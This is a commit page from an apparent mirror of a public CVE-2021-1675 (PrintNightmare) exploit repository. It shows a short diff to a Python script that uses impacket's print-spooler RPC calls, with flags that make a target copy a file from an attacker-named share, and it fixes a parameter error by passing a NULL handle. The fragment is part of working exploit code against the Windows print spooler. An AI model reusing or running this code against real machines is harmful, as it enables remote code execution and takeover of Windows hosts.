1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-12-22 02:36:33 +00:00

fixed ERROR_INVALID_PARAMETER

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
cube0x0 2021-06-30 12:07:04 +02:00
parent 60f0785e58
commit 261b685fbc

View file

@ -1,6 +1,7 @@
#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
import argparse
import sys
import time
@ -45,7 +46,8 @@ def main(username, password, domain, lmhash, nthash, address, port, share):
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
handle = "\\\\{0}\x00".format(address)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
filename = share.split("\\")[-1]
print("[*] Uploading {0}".format(share))